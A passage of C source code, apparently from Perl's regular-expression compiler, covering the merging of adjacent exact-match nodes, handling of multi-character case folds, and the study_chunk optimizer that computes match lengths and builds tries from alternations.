EXACTF) { break; } OP(scan) = EXACTFU_S_EDGE; } /* Otherwise, the beginning 's' of the 2nd node just becomes an interior 's' in 'scan' */ } else if (OP(scan) == EXACTF && OP(n) == EXACTF) { ; /* join is compatible, no need to change OP */ } else if (OP(scan) == EXACTF && OP(n) == EXACTFU_S_EDGE) { /* EXACTF nodes are compatible for joining with EXACTFU_S_EDGE * nodes. But the latter nodes can be also joined with EXACTFU * ones, and that is a better outcome, so if the node following * 'n' is EXACTFU, quit now so that those two can be joined * later */ if (OP(nnext) == EXACTFU) { break; } /* The join is compatible, and the combined node will be * EXACTF. (These don't care if they begin or end with 's' */ } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTFU_S_EDGE) { if ( STRING(scan)[STR_LEN(scan)-1] == 's' && STRING(n)[0] == 's') { /* When combined, we have the sequence 'ss', which means we * have to remain /di */ OP(scan) = EXACTF; } } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTFU) { if (STRING(n)[0] == 's') { ; /* Here the join is compatible and the combined node starts with 's', no need to change OP */ } else { /* Now the trailing 's' is in the interior */ OP(scan) = EXACTFU; } } else if (OP(scan) == EXACTFU_S_EDGE && OP(n) == EXACTF) { /* The join is compatible, and the combined node will be * EXACTF. (These don't care if they begin or end with 's' */ OP(scan) = EXACTF; } else if (OP(scan) != OP(n)) { /* The only other compatible joinings are the same node type */ break; } DEBUG_PEEP("merg", n, depth, 0); merged++; NEXT_OFF(scan) += NEXT_OFF(n); STR_LEN(scan) += STR_LEN(n); next = n + NODE_SZ_STR(n); /* Now we can overwrite *n : */ Move(STRING(n), STRING(scan) + oldl, STR_LEN(n), char); #ifdef DEBUGGING stop = next - 1; #endif n = nnext; if (stopnow) break; } #ifdef EXPERIMENTAL_INPLACESCAN if (flags && !NEXT_OFF(n)) { DEBUG_PEEP("atch", val, depth, 0); if (reg_off_by_arg[OP(n)]) { ARG_SET(n, val - n); } else { NEXT_OFF(n) = val - n; } stopnow = 1; } #endif } /* This temporary node can now be turned into EXACTFU, and must, as * regexec.c doesn't handle it */ if (OP(scan) == EXACTFU_S_EDGE) { OP(scan) = EXACTFU; } *min_subtract = 0; *unfolded_multi_char = FALSE; /* Here, all the adjacent mergeable EXACTish nodes have been merged. We * can now analyze for sequences of problematic code points. (Prior to * this final joining, sequences could have been split over boundaries, and * hence missed). The sequences only happen in folding, hence for any * non-EXACT EXACTish node */ if (OP(scan) != EXACT && OP(scan) != EXACT_ONLY8 && OP(scan) != EXACTL) { U8* s0 = (U8*) STRING(scan); U8* s = s0; U8* s_end = s0 + STR_LEN(scan); int total_count_delta = 0; /* Total delta number of characters that multi-char folds expand to */ /* One pass is made over the node's string looking for all the * possibilities. To avoid some tests in the loop, there are two main * cases, for UTF-8 patterns (which can't have EXACTF nodes) and * non-UTF-8 */ if (UTF) { U8* folded = NULL; if (OP(scan) == EXACTFL) { U8 *d; /* An EXACTFL node would already have been changed to another * node type unless there is at least one character in it that * is problematic; likely a character whose fold definition * won't be known until runtime, and so has yet to be folded. * For all but the UTF-8 locale, folds are 1-1 in length, but * to handle the UTF-8 case, we need to create a temporary * folded copy using UTF-8 locale rules in order to analyze it. * This is because our macros that look to see if a sequence is * a multi-char fold assume everything is folded (otherwise the * tests in those macros would be too complicated and slow). * Note that here, the non-problematic folds will have already * been done, so we can just copy such characters. We actually * don't completely fold the EXACTFL string. We skip the * unfolded multi-char folds, as that would just create work * below to figure out the size they already are */ Newx(folded, UTF8_MAX_FOLD_CHAR_EXPAND * STR_LEN(scan) + 1, U8); d = folded; while (s < s_end) { STRLEN s_len = UTF8SKIP(s); if (! is_PROBLEMATIC_LOCALE_FOLD_utf8(s)) { Copy(s, d, s_len, U8); d += s_len; } else if (is_FOLDS_TO_MULTI_utf8(s)) { *unfolded_multi_char = TRUE; Copy(s, d, s_len, U8); d += s_len; } else if (isASCII(*s)) { *(d++) = toFOLD(*s); } else { STRLEN len; _toFOLD_utf8_flags(s, s_end, d, &len, FOLD_FLAGS_FULL); d += len; } s += s_len; } /* Point the remainder of the routine to look at our temporary * folded copy */ s = folded; s_end = d; } /* End of creating folded copy of EXACTFL string */ /* Examine the string for a multi-character fold sequence. UTF-8 * patterns have all characters pre-folded by the time this code is * executed */ while (s < s_end - 1) /* Can stop 1 before the end, as minimum length sequence we are looking for is 2 */ { int count = 0; /* How many characters in a multi-char fold */ int len = is_MULTI_CHAR_FOLD_utf8_safe(s, s_end); if (! len) { /* Not a multi-char fold: get next char */ s += UTF8SKIP(s); continue; } { /* Here is a generic multi-char fold. */ U8* multi_end = s + len; /* Count how many characters are in it. In the case of * /aa, no folds which contain ASCII code points are * allowed, so check for those, and skip if found. */ if (OP(scan) != EXACTFAA && OP(scan) != EXACTFAA_NO_TRIE) { count = utf8_length(s, multi_end); s = multi_end; } else { while (s < multi_end) { if (isASCII(*s)) { s++; goto next_iteration; } else { s += UTF8SKIP(s); } count++; } } } /* The delta is how long the sequence is minus 1 (1 is how long * the character that folds to the sequence is) */ total_count_delta += count - 1; next_iteration: ; } /* We created a temporary folded copy of the string in EXACTFL * nodes. Therefore we need to be sure it doesn't go below zero, * as the real string could be shorter */ if (OP(scan) == EXACTFL) { int total_chars = utf8_length((U8*) STRING(scan), (U8*) STRING(scan) + STR_LEN(scan)); if (total_count_delta > total_chars) { total_count_delta = total_chars; } } *min_subtract += total_count_delta; Safefree(folded); } else if (OP(scan) == EXACTFAA) { /* Non-UTF-8 pattern, EXACTFAA node. There can't be a multi-char * fold to the ASCII range (and there are no existing ones in the * upper latin1 range). But, as outlined in the comments preceding * this function, we need to flag any occurrences of the sharp s. * This character forbids trie formation (because of added * complexity) */ #if UNICODE_MAJOR_VERSION > 3 /* no multifolds in early Unicode */ \ || (UNICODE_MAJOR_VERSION == 3 && ( UNICODE_DOT_VERSION > 0) \ || UNICODE_DOT_DOT_VERSION > 0) while (s < s_end) { if (*s == LATIN_SMALL_LETTER_SHARP_S) { OP(scan) = EXACTFAA_NO_TRIE; *unfolded_multi_char = TRUE; break; } s++; } } else { /* Non-UTF-8 pattern, not EXACTFAA node. Look for the multi-char * folds that are all Latin1. As explained in the comments * preceding this function, we look also for the sharp s in EXACTF * and EXACTFL nodes; it can be in the final position. Otherwise * we can stop looking 1 byte earlier because have to find at least * two characters for a multi-fold */ const U8* upper = (OP(scan) == EXACTF || OP(scan) == EXACTFL) ? s_end : s_end -1; while (s < upper) { int len = is_MULTI_CHAR_FOLD_latin1_safe(s, s_end); if (! len) { /* Not a multi-char fold. */ if (*s == LATIN_SMALL_LETTER_SHARP_S && (OP(scan) == EXACTF || OP(scan) == EXACTFL)) { *unfolded_multi_char = TRUE; } s++; continue; } if (len == 2 && isALPHA_FOLD_EQ(*s, 's') && isALPHA_FOLD_EQ(*(s+1), 's')) { /* EXACTF nodes need to know that the minimum length * changed so that a sharp s in the string can match this * ss in the pattern, but they remain EXACTF nodes, as they * won't match this unless the target string is is UTF-8, * which we don't know until runtime. EXACTFL nodes can't * transform into EXACTFU nodes */ if (OP(scan) != EXACTF && OP(scan) != EXACTFL) { OP(scan) = EXACTFUP; } } *min_subtract += len - 1; s += len; } #endif } if ( STR_LEN(scan) == 1 && isALPHA_A(* STRING(scan)) && ( OP(scan) == EXACTFAA || ( OP(scan) == EXACTFU && ! HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(* STRING(scan))))) { U8 mask = ~ ('A' ^ 'a'); /* These differ in just one bit */ /* Replace a length 1 ASCII fold pair node with an ANYOFM node, * with the mask set to the complement of the bit that differs * between upper and lower case, and the lowest code point of the * pair (which the '&' forces) */ OP(scan) = ANYOFM; ARG_SET(scan, *STRING(scan) & mask); FLAGS(scan) = mask; } } #ifdef DEBUGGING /* Allow dumping but overwriting the collection of skipped * ops and/or strings with fake optimized ops */ n = scan + NODE_SZ_STR(scan); while (n <= stop) { OP(n) = OPTIMIZED; FLAGS(n) = 0; NEXT_OFF(n) = 0; n++; } #endif DEBUG_OPTIMISE_r(if (merged){DEBUG_PEEP("finl", scan, depth, 0);}); return stopnow; } /* REx optimizer. Converts nodes into quicker variants "in place". Finds fixed substrings. */ /* Stops at toplevel WHILEM as well as at "last". At end *scanp is set to the position after last scanned or to NULL. */ #define INIT_AND_WITHP \ assert(!and_withp); \ Newx(and_withp, 1, regnode_ssc); \ SAVEFREEPV(and_withp) static void S_unwind_scan_frames(pTHX_ const void *p) { scan_frame *f= (scan_frame *)p; do { scan_frame *n= f->next_frame; Safefree(f); f= n; } while (f); } /* the return from this sub is the minimum length that could possibly match */ STATIC SSize_t S_study_chunk(pTHX_ RExC_state_t *pRExC_state, regnode **scanp, SSize_t *minlenp, SSize_t *deltap, regnode *last, scan_data_t *data, I32 stopparen, U32 recursed_depth, regnode_ssc *and_withp, U32 flags, U32 depth) /* scanp: Start here (read-write). */ /* deltap: Write maxlen-minlen here. */ /* last: Stop before this one. */ /* data: string data about the pattern */ /* stopparen: treat close N as END */ /* recursed: which subroutines have we recursed into */ /* and_withp: Valid if flags & SCF_DO_STCLASS_OR */ { dVAR; /* There must be at least this number of characters to match */ SSize_t min = 0; I32 pars = 0, code; regnode *scan = *scanp, *next; SSize_t delta = 0; int is_inf = (flags & SCF_DO_SUBSTR) && (data->flags & SF_IS_INF); int is_inf_internal = 0; /* The studied chunk is infinite */ I32 is_par = OP(scan) == OPEN ? ARG(scan) : 0; scan_data_t data_fake; SV *re_trie_maxbuff = NULL; regnode *first_non_open = scan; SSize_t stopmin = SSize_t_MAX; scan_frame *frame = NULL; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_STUDY_CHUNK; RExC_study_started= 1; Zero(&data_fake, 1, scan_data_t); if ( depth == 0 ) { while (first_non_open && OP(first_non_open) == OPEN) first_non_open=regnext(first_non_open); } fake_study_recurse: DEBUG_r( RExC_study_chunk_recursed_count++; ); DEBUG_OPTIMISE_MORE_r( { Perl_re_indentf( aTHX_ "study_chunk stopparen=%ld recursed_count=%lu depth=%lu recursed_depth=%lu scan=%p last=%p", depth, (long)stopparen, (unsigned long)RExC_study_chunk_recursed_count, (unsigned long)depth, (unsigned long)recursed_depth, scan, last); if (recursed_depth) { U32 i; U32 j; for ( j = 0 ; j < recursed_depth ; j++ ) { for ( i = 0 ; i < (U32)RExC_total_parens ; i++ ) { if ( PAREN_TEST(RExC_study_chunk_recursed + ( j * RExC_study_chunk_recursed_bytes), i ) && ( !j || !PAREN_TEST(RExC_study_chunk_recursed + (( j - 1 ) * RExC_study_chunk_recursed_bytes), i) ) ) { Perl_re_printf( aTHX_ " %d",(int)i); break; } } if ( j + 1 < recursed_depth ) { Perl_re_printf( aTHX_ ","); } } } Perl_re_printf( aTHX_ "\n"); } ); while ( scan && OP(scan) != END && scan < last ){ UV min_subtract = 0; /* How mmany chars to subtract from the minimum node length to get a real minimum (because the folded version may be shorter) */ bool unfolded_multi_char = FALSE; /* Peephole optimizer: */ DEBUG_STUDYDATA("Peep", data, depth, is_inf); DEBUG_PEEP("Peep", scan, depth, flags); /* The reason we do this here is that we need to deal with things like * /(?:f)(?:o)(?:o)/ which cant be dealt with by the normal EXACT * parsing code, as each (?:..) is handled by a different invocation of * reg() -- Yves */ JOIN_EXACT(scan,&min_subtract, &unfolded_multi_char, 0); /* Follow the next-chain of the current node and optimize away all the NOTHINGs from it. */ if (OP(scan) != CURLYX) { const int max = (reg_off_by_arg[OP(scan)] ? I32_MAX /* I32 may be smaller than U16 on CRAYs! */ : (I32_MAX < U16_MAX ? I32_MAX : U16_MAX)); int off = (reg_off_by_arg[OP(scan)] ? ARG(scan) : NEXT_OFF(scan)); int noff; regnode *n = scan; /* Skip NOTHING and LONGJMP. */ while ((n = regnext(n)) && ((PL_regkind[OP(n)] == NOTHING && (noff = NEXT_OFF(n))) || ((OP(n) == LONGJMP) && (noff = ARG(n)))) && off + noff < max) off += noff; if (reg_off_by_arg[OP(scan)]) ARG(scan) = off; else NEXT_OFF(scan) = off; } /* The principal pseudo-switch. Cannot be a switch, since we look into several different things. */ if ( OP(scan) == DEFINEP ) { SSize_t minlen = 0; SSize_t deltanext = 0; SSize_t fake_last_close = 0; I32 f = SCF_IN_DEFINE; StructCopy(&zero_scan_data, &data_fake, scan_data_t); scan = regnext(scan); assert( OP(scan) == IFTHEN ); DEBUG_PEEP("expect IFTHEN", scan, depth, flags); data_fake.last_closep= &fake_last_close; minlen = *minlenp; next = regnext(scan); scan = NEXTOPER(NEXTOPER(scan)); DEBUG_PEEP("scan", scan, depth, flags); DEBUG_PEEP("next", next, depth, flags); /* we suppose the run is continuous, last=next... * NOTE we dont use the return here! */ /* DEFINEP study_chunk() recursion */ (void)study_chunk(pRExC_state, &scan, &minlen, &deltanext, next, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); scan = next; } else if ( OP(scan) == BRANCH || OP(scan) == BRANCHJ || OP(scan) == IFTHEN ) { next = regnext(scan); code = OP(scan); /* The op(next)==code check below is to see if we * have "BRANCH-BRANCH", "BRANCHJ-BRANCHJ", "IFTHEN-IFTHEN" * IFTHEN is special as it might not appear in pairs. * Not sure whether BRANCH-BRANCHJ is possible, regardless * we dont handle it cleanly. */ if (OP(next) == code || code == IFTHEN) { /* NOTE - There is similar code to this block below for * handling TRIE nodes on a re-study. If you change stuff here * check there too. */ SSize_t max1 = 0, min1 = SSize_t_MAX, num = 0; regnode_ssc accum; regnode * const startbranch=scan; if (flags & SCF_DO_SUBSTR) { /* Cannot merge strings after this. */ scan_commit(pRExC_state, data, minlenp, is_inf); } if (flags & SCF_DO_STCLASS) ssc_init_zero(pRExC_state, &accum); while (OP(scan) == code) { SSize_t deltanext, minnext, fake; I32 f = 0; regnode_ssc this_class; DEBUG_PEEP("Branch", scan, depth, flags); num++; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; next = regnext(scan); scan = NEXTOPER(scan); /* everything */ if (code != BRANCH) /* everything but BRANCH */ scan = NEXTOPER(scan); if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); data_fake.start_class = &this_class; f = SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; /* we suppose the run is continuous, last=next...*/ /* recurse study_chunk() for each BRANCH in an alternation */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, next, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (min1 > minnext) min1 = minnext; if (deltanext == SSize_t_MAX) { is_inf = is_inf_internal = 1; max1 = SSize_t_MAX; } else if (max1 < minnext + deltanext) max1 = minnext + deltanext; scan = next; if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SCF_SEEN_ACCEPT) { if ( stopmin > minnext) stopmin = min + min1; flags &= ~SCF_DO_SUBSTR; if (data) data->flags |= SCF_SEEN_ACCEPT; } if (data) { if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (flags & SCF_DO_STCLASS) ssc_or(pRExC_state, &accum, (regnode_charclass*)&this_class); } if (code == IFTHEN && num < 2) /* Empty ELSE branch */ min1 = 0; if (flags & SCF_DO_SUBSTR) { data->pos_min += min1; if (data->pos_delta >= SSize_t_MAX - (max1 - min1)) data->pos_delta = SSize_t_MAX; else data->pos_delta += max1 - min1; if (max1 != min1 || is_inf) data->cur_is_floating = 1; } min += min1; if (delta == SSize_t_MAX || SSize_t_MAX - delta - (max1 - min1) < 0) delta = SSize_t_MAX; else delta += max1 - min1; if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass*) &accum); if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (flags & SCF_DO_STCLASS_AND) { if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &accum); flags &= ~SCF_DO_STCLASS; } else { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&accum, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; } } if (PERL_ENABLE_TRIE_OPTIMISATION && OP( startbranch ) == BRANCH ) { /* demq. Assuming this was/is a branch we are dealing with: 'scan' now points at the item that follows the branch sequence, whatever it is. We now start at the beginning of the sequence and look for subsequences of BRANCH->EXACT=>x1 BRANCH->EXACT=>x2 tail which would be constructed from a pattern like /A|LIST|OF|WORDS/ If we can find such a subsequence we need to turn the first element into a trie and then add the subsequent branch exact strings to the trie. We have two cases 1. patterns where the whole set of branches can be converted. 2. patterns where only a subset can be converted. In case 1 we can replace the whole set with a single regop for the trie. In case 2 we need to keep the start and end branches so 'BRANCH EXACT; BRANCH EXACT; BRANCH X' becomes BRANCH TRIE; BRANCH X; There is an additional case, that being where there is a common prefix, which gets split out into an EXACT like node preceding the TRIE node. If x(1..n)==tail then we can do a simple trie, if not we make a "jump" trie, such that when we match the appropriate word we "jump" to the appropriate tail node. Essentially we turn a nested if into a case structure of sorts. */ int made=0; if (!re_trie_maxbuff) { re_trie_maxbuff = get_sv(RE_TRIE_MAXBUF_NAME, 1); if (!SvIOK(re_trie_maxbuff)) sv_setiv(re_trie_maxbuff, RE_TRIE_MAXBUF_INIT); } if ( SvIV(re_trie_maxbuff)>=0 ) { regnode *cur; regnode *first = (regnode *)NULL; regnode *last = (regnode *)NULL; regnode *tail = scan; U8 trietype = 0; U32 count=0; /* var tail is used because there may be a TAIL regop in the way. Ie, the exacts will point to the thing following the TAIL, but the last branch will point at the TAIL. So we advance tail. If we have nested (?:) we may have to move through several tails. */ while ( OP( tail ) == TAIL ) { /* this is the TAIL generated by (?:) */ tail = regnext( tail ); } DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, tail, NULL, pRExC_state); Perl_re_indentf( aTHX_ "%s %" UVuf ":%s\n", depth+1, "Looking for TRIE'able sequences. Tail node is ", (UV) REGNODE_OFFSET(tail), SvPV_nolen_const( RExC_mysv ) ); }); /* Step through the branches cur represents each branch, noper is the first thing to be matched as part of that branch noper_next is the regnext() of that node. We normally handle a case like this /FOO[xyz]|BAR[pqr]/ via a "jump trie" but we also support building with NOJUMPTRIE, which restricts the trie logic to structures like /FOO|BAR/. If noper is a trieable nodetype then the branch is a possible optimization target. If we are building under NOJUMPTRIE then we require that noper_next is the same as scan (our current position in the regex program). Once we have two or more consecutive such branches we can create a trie of the EXACT's contents and stitch it in place into the program. If the sequence represents all of the branches in the alternation we replace the entire thing with a single TRIE node. Otherwise when it is a subsequence we need to stitch it in place and replace only the relevant branches. This means the first branch has to remain as it is used by the alternation logic, and its next pointer, and needs to be repointed at the item on the branch chain following the last branch we have optimized away. This could be either a BRANCH, in which case the subsequence is internal, or it could be the item following the branch sequence in which case the subsequence is at the end (which does not necessarily mean the first node is the start of the alternation). TRIE_TYPE(X) is a define which maps the optype to a trietype. optype | trietype ----------------+----------- NOTHING | NOTHING EXACT | EXACT EXACT_ONLY8 | EXACT EXACTFU | EXACTFU EXACTFU_ONLY8 | EXACTFU EXACTFUP | EXACTFU EXACTFAA | EXACTFAA EXACTL | EXACTL EXACTFLU8 | EXACTFLU8 */ #define TRIE_TYPE(X) ( ( NOTHING == (X) ) \ ? NOTHING \ : ( EXACT == (X) || EXACT_ONLY8 == (X) ) \ ? EXACT \ : ( EXACTFU == (X) \ || EXACTFU_ONLY8 == (X) \ || EXACTFUP == (X) ) \ ? EXACTFU \ : ( EXACTFAA == (X) ) \ ? EXACTFAA \ : ( EXACTL == (X) ) \ ? EXACTL \ : ( EXACTFLU8 == (X) ) \ ? EXACTFLU8 \ : 0 ) /* dont use tail as the end marker for this traverse */ for ( cur = startbranch ; cur != scan ; cur = regnext( cur ) ) { regnode * const noper = NEXTOPER( cur ); U8 noper_type = OP( noper ); U8 noper_trietype = TRIE_TYPE( noper_type ); #if defined(DEBUGGING) || defined(NOJUMPTRIE) regnode * const noper_next = regnext( noper ); U8 noper_next_type = (noper_next && noper_next < tail) ? OP(noper_next) : 0; U8 noper_next_trietype = (noper_next && noper_next < tail) ? TRIE_TYPE( noper_next_type ) :0; #endif DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %d:%s (%d)", depth+1, REG_NODE_NUM(cur), SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur) ); regprop(RExC_rx, RExC_mysv, noper, NULL, pRExC_state); Perl_re_printf( aTHX_ " -> %d:%s", REG_NODE_NUM(noper), SvPV_nolen_const(RExC_mysv)); if ( noper_next ) { regprop(RExC_rx, RExC_mysv, noper_next, NULL, pRExC_state); Perl_re_printf( aTHX_ "\t=> %d:%s\t", REG_NODE_NUM(noper_next), SvPV_nolen_const(RExC_mysv)); } Perl_re_printf( aTHX_ "(First==%d,Last==%d,Cur==%d,tt==%s,ntt==%s,nntt==%s)\n", REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(cur), PL_reg_name[trietype], PL_reg_name[noper_trietype], PL_reg_name[noper_next_trietype] ); }); /* Is noper a trieable nodetype that can be merged * with the current trie (if there is one)? */ if ( noper_trietype && ( ( noper_trietype == NOTHING ) || ( trietype == NOTHING ) || ( trietype == noper_trietype ) ) #ifdef NOJUMPTRIE && noper_next >= tail #endif && count < U16_MAX) { /* Handle mergable triable node Either we are * the first node in a new trieable sequence, * in which case we do some bookkeeping, * otherwise we update the end pointer. */ if ( !first ) { first = cur; if ( noper_trietype == NOTHING ) { #if !defined(DEBUGGING) && !defined(NOJUMPTRIE) regnode * const noper_next = regnext( noper ); U8 noper_next_type = (noper_next && noper_next < tail) ? OP(noper_next) : 0; U8 noper_next_trietype = noper_next_type ? TRIE_TYPE( noper_next_type ) :0; #endif if ( noper_next_trietype ) { trietype = noper_next_trietype; } else if (noper_next_type) { /* a NOTHING regop is 1 regop wide. * We need at least two for a trie * so we can't merge this in */ first = NULL; } } else { trietype = noper_trietype; } } else { if ( trietype == NOTHING ) trietype = noper_trietype; last = cur; } if (first) count++; } /* end handle mergable triable node */ else { /* handle unmergable node - * noper may either be a triable node which can * not be tried together with the current trie, * or a non triable node */ if ( last ) { /* If last is set and trietype is not * NOTHING then we have found at least two * triable branch sequences in a row of a * similar trietype so we can turn them * into a trie. If/when we allow NOTHING to * start a trie sequence this condition * will be required, and it isn't expensive * so we leave it in for now. */ if ( trietype && trietype != NOTHING ) make_trie( pRExC_state, startbranch, first, cur, tail, count, trietype, depth+1 ); last = NULL; /* note: we clear/update first, trietype etc below, so we dont do it here */ } if ( noper_trietype #ifdef NOJUMPTRIE && noper_next >= tail #endif ){ /* noper is triable, so we can start a new * trie sequence */ count = 1; first = cur; trietype = noper_trietype; } else if (first) { /* if we already saw a first but the * current node is not triable then we have * to reset the first information. */ count = 0; first = NULL; trietype = 0; } } /* end handle unmergable node */ } /* loop over branches */ DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %s (%d) <SCAN FINISHED> ", depth+1, SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur)); Perl_re_printf( aTHX_ "(First==%d, Last==%d, Cur==%d, tt==%s)\n", REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(cur), PL_reg_name[trietype] ); }); if ( last && trietype ) { if ( trietype != NOTHING ) { /* the last branch of the sequence was part of * a trie, so we have to construct it here * outside of the loop */ made= make_trie( pRExC_state, startbranch, first, scan, tail, count, trietype, depth+1 ); #ifdef TRIE_STUDY_OPT if ( ((made == MADE_EXACT_TRIE && startbranch == first) || ( first_non_open == first )) && depth==0 ) { flags |= SCF_TRIE_RESTUDY; if ( startbranch == first && scan >= tail ) { RExC_seen &=~REG_TOP_LEVEL_BRANCHES_SEEN; } } #endif } else { /* at this point we know whatever we have is a * NOTHING sequence/branch AND if 'startbranch' * is 'first' then we can turn the whole thing * into a NOTHING */ if ( startbranch == first ) { regnode *opt; /* the entire thing is a NOTHING sequence, * something like this: (?:|) So we can * turn it into a plain NOTHING op. */ DEBUG_TRIE_COMPILE_r({ regprop(RExC_rx, RExC_mysv, cur, NULL, pRExC_state); Perl_re_indentf( aTHX_ "- %s (%d) <NOTHING BRANCH SEQUENCE>\n", depth+1, SvPV_nolen_const( RExC_mysv ), REG_NODE_NUM(cur)); }); OP(startbranch)= NOTHING; NEXT_OFF(startbranch)= tail - startbranch; for ( opt= startbranch + 1; opt < tail ; opt++ ) OP(opt)= OPTIMIZED; } } } /* end if ( last) */ } /* TRIE_MAXBUF is non zero */ } /* do trie */ } else if ( code == BRANCHJ ) { /* single branch is optimized. */ scan = NEXTOPER(NEXTOPER(scan)); } else /* single branch is optimized. */ scan = NEXTOPER(scan); continue; } else if (OP(scan) == SUSPEND || OP(scan) == GOSUB) { I32 paren = 0; regnode *start = NULL; regnode *end = NULL; U32 my_recursed_depth= recursed_depth; if (OP(scan) != SUSPEND) { /* GOSUB */ /* Do setup, note this code has side effects beyond * the rest of this block. Specifically setting * RExC_recurse[] must happen at least once during * study_chunk(). */ paren = ARG(scan); RExC_recurse[ARG2L(scan)] = scan; start = REGNODE_p(RExC_open_parens[paren]); end = REGNODE_p(RExC_close_parens[paren]); /* NOTE we MUST always execute the above code, even * if we do nothing with a GOSUB */ if ( ( flags & SCF_IN_DEFINE ) || ( (is_inf_internal || is_inf || (data && data->flags & SF_IS_INF)) && ( (flags & (SCF_DO_STCLASS | SCF_DO_SUBSTR)) == 0 ) ) ) { /* no need to do anything here if we are in a define. */ /* or we are after some kind of infinite construct * so we can skip recursing into this item. * Since it is infinite we will not change the maxlen * or delta, and if we miss something that might raise * the minlen it will merely pessimise a little. * * Iow /(?(DEFINE)(?<foo>foo|food))a+(?&foo)/ * might result in a minlen of 1 and not of 4, * but this doesn't make us mismatch, just try a bit * harder than we should. * */ scan= regnext(scan); continue; } if ( !recursed_depth || !PAREN_TEST(RExC_study_chunk_recursed + ((recursed_depth-1) * RExC_study_chunk_recursed_bytes), paren) ) { /* it is quite possible that there are more efficient ways * to do this. We maintain a bitmap per level of recursion * of which patterns we have entered so we can detect if a * pattern creates a possible infinite loop. When we * recurse down a level we copy the previous levels bitmap * down. When we are at recursion level 0 we zero the top * level bitmap. It would be nice to implement a different * more efficient way of doing this. In particular the top * level bitmap may be unnecessary. */ if (!recursed_depth) { Zero(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes, U8); } else { Copy(RExC_study_chunk_recursed + ((recursed_depth-1) * RExC_study_chunk_recursed_bytes), RExC_study_chunk_recursed + (recursed_depth * RExC_study_chunk_recursed_bytes), RExC_study_chunk_recursed_bytes, U8); } /* we havent recursed into this paren yet, so recurse into it */ DEBUG_STUDYDATA("gosub-set", data, depth, is_inf); PAREN_SET(RExC_study_chunk_recursed + (recursed_depth * RExC_study_chunk_recursed_bytes), paren); my_recursed_depth= recursed_depth + 1; } else { DEBUG_STUDYDATA("gosub-inf", data, depth, is_inf); /* some form of infinite recursion, assume infinite length * */ if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_anything(data->start_class); flags &= ~SCF_DO_STCLASS; start= NULL; /* reset start so we dont recurse later on. */ } } else { paren = stopparen; start = scan + 2; end = regnext(scan); } if (start) { scan_frame *newframe; assert(end); if (!RExC_frame_last) { Newxz(newframe, 1, scan_frame); SAVEDESTRUCTOR_X(S_unwind_scan_frames, newframe); RExC_frame_head= newframe; RExC_frame_count++; } else if (!RExC_frame_last->next_frame) { Newxz(newframe, 1, scan_frame); RExC_frame_last->next_frame= newframe; newframe->prev_frame= RExC_frame_last; RExC_frame_count++; } else { newframe= RExC_frame_last->next_frame; } RExC_frame_last= newframe; newframe->next_regnode = regnext(scan); newframe->last_regnode = last; newframe->stopparen = stopparen; newframe->prev_recursed_depth = recursed_depth; newframe->this_prev_frame= frame; DEBUG_STUDYDATA("frame-new", data, depth, is_inf); DEBUG_PEEP("fnew", scan, depth, flags); frame = newframe; scan = start; stopparen = paren; last = end; depth = depth + 1; recursed_depth= my_recursed_depth; continue; } } else if ( OP(scan) == EXACT || OP(scan) == EXACT_ONLY8 || OP(scan) == EXACTL) { SSize_t l = STR_LEN(scan); UV uc; assert(l); if (UTF) { const U8 * const s = (U8*)STRING(scan); uc = utf8_to_uvchr_buf(s, s + l, NULL); l = utf8_length(s, s + l); } else { uc = *((U8*)STRING(scan)); } min += l; if (flags & SCF_DO_SUBSTR) { /* Update longest substr. */ /* The code below prefers earlier match for fixed offset, later match for variable offset. */ if (data->last_end == -1) { /* Update the start info. */ data->last_start_min = data->pos_min; data->last_start_max = is_inf ? SSize_t_MAX : data->pos_min + data->pos_delta; } sv_catpvn(data->last_found, STRING(scan), STR_LEN(scan)); if (UTF) SvUTF8_on(data->last_found); { SV * const sv = data->last_found; MAGIC * const mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg && mg->mg_len >= 0) mg->mg_len += utf8_length((U8*)STRING(scan), (U8*)STRING(scan)+STR_LEN(scan)); } data->last_end = data->pos_min + l; data->pos_min += l; /* As in the first entry. */ data->flags &= ~SF_BEFORE_EOL; } /* ANDing the code point leaves at most it, and not in locale, and * can't match null string */ if (flags & SCF_DO_STCLASS_AND) { ssc_cp_and(data->start_class, uc); 